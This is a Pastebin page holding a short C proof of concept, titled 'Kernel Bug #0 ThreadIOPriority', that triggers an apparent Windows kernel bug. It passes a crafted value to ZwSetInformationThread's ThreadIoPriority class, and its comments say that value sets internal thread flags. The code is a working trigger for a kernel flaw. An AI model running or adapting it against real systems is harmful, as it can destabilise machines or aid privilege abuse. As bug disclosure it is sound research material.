waliedassar

Kernel Bug #0 ThreadIOPriority

Jan 23rd, 2013
527
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //http://waleedassar.blogspot.com
  2. //http://www.twitter.com/waleedassar
  3.  
  4. #define ThreadIoPriority       0x16
  5. int main()
  6. {
  7.     //0xFF3FFF3C;---> No RundownFail, no NeedsWorkingSetAging.
  8.     //0xFF3FFFFC;---> Includes RundownFail & NeedsWorkingSetAging.
  9.     unsigned long prior=0xFF3FFF3C;            
  10.     int ret=ZwSetInformationThread(GetCurrentThread(),ThreadIoPriority,&prior,4);
  11.     if(ret>=0)
  12.     {
  13.         unsigned long priorr=0;
  14.         ret=ZwQueryInformationThread(GetCurrentThread(),ThreadIoPriority,&priorr,4,0);
  15.         printf("Current Thread IO priority is %x\r\n",priorr);
  16.  
  17.         unsigned long xx=0;
  18.         while(1)
  19.         {
  20.             printf("Hey %x\r\n",xx);
  21.             Sleep(1000);
  22.             xx++;
  23.         }
  24.  
  25.         unsigned long xxx=0;
  26.         scanf("%d\r\n",&xxx);
  27.     }
  28.     ExitProcess(0);
  29.     return 0;
  30. }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×